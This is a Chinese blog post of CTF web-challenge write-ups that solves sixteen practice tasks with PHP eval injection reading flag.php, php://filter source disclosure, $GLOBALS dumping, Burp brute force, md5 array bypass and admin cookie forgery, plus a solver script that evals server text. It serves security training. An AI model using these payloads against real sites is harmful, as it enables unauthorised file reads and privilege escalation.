web练习

web1-文件包含

打开题目,看到如下代码

Markup
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

构造语句

Python
?hello=);echo%20`cat%20./flag.php`;//

发现页面没有回显

image.png

检查源码后拿到flag

image.png

Markup
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}

web2-暴力破解

打开题目

image.png

burp抓包,然后将得到的数据发送到Intruderimage.png

根据提示设置下参数image.png

爆破后得到密码

Markup
13579

拿到flag

image.png

web3-全局变量读取

打开题目审计代码

image.png

Markup
//分析 
flag In the variable !         //flag在变量中
<?php error_reporting(0);      //关闭php中错误提示            
include"flag1.php";             //将flag1.php文件包含进来。
highlight_file(__file__);            //highlight_file()函数是高亮显示PHP语法。详细参考:highllight()函数
if(isset($_GET['args'])){        //判断是否传入args参数
$args = $_GET['args'];            //赋值
if(!preg_match("/^\w+$/",$args)){      //重点来了。这是一个正则表达式匹配字符串的函数,在这里意思是匹配任意 [A-Z,a-z,0-9,_] 的字符,就是任意大小写字母和0到9以及下划线组成.详情参考:正则表达式
die("args error!");       // 因为if语句取反了,所以如果不匹配会输出  args error!
}
eval("var_dump($$args);");    //eval()  将文本变成php命令执行。  这里也就是打印变量。$$args可以理解为$($args)
}
?>

根据提示全局变量构造语句

Markup
/?args=GLOBALS

image.png

得到flag

Markup
flag{92853051ab894a64f7865cf3c2128b34}

web4-文件读取

打开题目

image.png

发现有个a标签点击下

image.png

根据题目标题结合index.php?file=show.php想到文件读取的点,接着想到读取流

Markup
php://filter/read=convert.base64-encode/resource

构造下语句

Markup
http://ctf.xuegod.cn:1023/index.php?file=php://filter/read=convert.base64-encode/resource=show.php

image.png

base解密下,并没有发现可疑的东西image.png

因为这里除show.php,也就只知道index.php页面了,再试下能不能读取道其他信息

Markup
http://ctf.xuegod.cn:1023/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

image.png

之后,base64解密下

image.png

拿到flag

Markup
flag{edulcni_elif_lacol_si_siht}

web5-get-url传参

image.png

审计代码……算了,直接构造语句

Markup
/?what=flag

image.png

得到flag

Markup
flag{bugku_get_su8kej2en}

web6-post-data传参

image.png

审计代码……这里需要post传参,打开Hackbar

image.png

得到flag

Markup
flag{bugku_get_ssseint67se}

web7-jsfuck-解密

打开题目

image.png

检查源码

image.png

F12控制台

image.png

得到被编码的参数,提交以后发现错误,看样子应该是大写的

image.png

使用python转换为大写试试

image.png

这次发现是对的了

image.png

得到flag

Markup
CTF{WHATFK}

web8-矛盾

打开题目

image.png

审计下代码…… 

Markup
if(!is_numeric($num))  //num的参数不为数字

构造语句

Markup
/?num=1a

image.png

得到flag

Markup
flag{bugku-789-ps-ssdf}

web9-Unicode-无限弹框

打开题目

image.png

发现一直再弹窗,可能是循环比较少,当它停止的时候出现这个页面

image.png

检查下源码

image.png

发现被注释掉的部分,是html的转义,这里直接利用浏览器的特性,得到flag

Markup
KEY{J2sa42ahJK-HS11III}

image.png

web10-unescape编码

打开题目

image.png

查看下源代码

image.png

根据下面这个格式拼接

image.png

进行在线解码

image.png

整理下格式

Markup
function checkSubmit() {
    var a = document.getElementById("password");
    if ("undefined" != typeof a) {
        if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return ! 0;
        alert("Error");
        a.focus();
        return ! 1
    }
}
document.getElementById("levelQuest").onsubmit = checkSubmit;

审计代码…… 发现

Markup
password==67d709b2b54aa2aa648cf6e87a7114f1

得到flag

Markup
KEY{J22JK-HS11}

image.png

web11-验证码

打开题目

image.png

输入答案,发现仅能输入一位

image.png

猜想前端有限制,检查一下

image.png

修改下这个参数,然后提交结果,得到flag

Markup
flag{CTF-bugku-0032}

image.png

web12-F5刷新

打开题目发现页面一直再刷新

image.png

之后检查下源码

image.png再截图的过程中发现,在这个位置出现了flag,不过很快就被刷新掉了

image.png

得到flag

Markup
flag{dummy_game_1s_s0_popular}

 

web13-备份是个好习惯

查看题目

image.png

通过观察可以看到,前后两部分是一样的再根据格式判断这可能时MD5值

image.png

根据题目可知,这里存在备份文件,常用的备份格式一般为

Markup
.bak
.swo
.swp
.svn
inde.php~
...

image.png

可以看到,此时有文件被下载下来

image.png

查看下文件

PHP
<?php


include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

审计代码…… 可以看到如果key1==key2得到flag不过遇到key就会替换成空

所以构造语句(利用md5的0的特性)

Markup
//md5函数无法处理数组,结果都会返回NULL

/?kekeyy1[]=a&kekeyy2[]=b

image.png

 
 

得到flag

Markup
Bugku{OH_YOU_FIND_MY_MOMY}

web14-白名单登录

打开题目

image.png

web15-利用cookie获取admin权限

打开题目

打开后看到登录框

根据标题小饼干判断可能是Cookie

开启burpsuite
使用默认用户名和密码登录

登录后设置了两个Cookie并302跳转到home.php

Set-Cookie: u=351e76680314c4b06b824ec593239362517f538b29
Set-Cookie: r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff

继续跟随跳转到home.php

页面返回权限不够

目前看来整个登录流程就是

  • HTML表单提交到home.php

  • home.php根据用户名密码生成Cookie并重定向

  • home.php验证Cookie并返回页面

对比信息

注册一个账号并登录

查看生成的Cookie

Set-Cookie: u=351e766803d0a87b4018d6521b0f5a49e5e03adb6d
Set-Cookie: r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff

与前面正常的进行对比

默认登录 
        u=351e76680314c4b06b824ec593239362517f538b29 
        r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff
用户登录 
        u=351e766803d0a87b4018d6521b0f5a49e5e03adb6d 
        r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff

发现前面10位相同 351e766803
生成的Cookie长度为42
去掉后Cookie长度为32
尝试md5破解

默认登录
        u=username
        r=limited
用户登录
        u=virgin
        r=limited

这么一对比就很明显了

伪造Cookie

Cookie: 351e766803+md5(admin)
Cookie: 351e76680321232f297a57a5a743894a0e4a801fc3

得到flag

flag{98112cb20fb17cc81687115010f8a5c3}

web16-秋名山老司机

打开题目

image.png

题目要求2s内计算一个算式并提交结果,用python写一个脚本如下

Python
import re
import requests
url="http://ctf.xuegod.cn:1035/"
s=requests.Session()
response=s.get(url)
reg=re.compile(r'[0-9+\-*]{3,}[0-9]')      #{3,}代表匹配次数>3次,本来是用一个+的,但会匹配response中的utf-8的-8
obj=reg.findall(response.text)
data={'value':eval(obj[0])}
reps=s.post(url,data=data)
print(reps.content.decode('utf-8')) 

即可在返回结果中找到flag

posted @ 2020-06-08 11:11  MTcx  阅读(572)  评论(0编辑  收藏  举报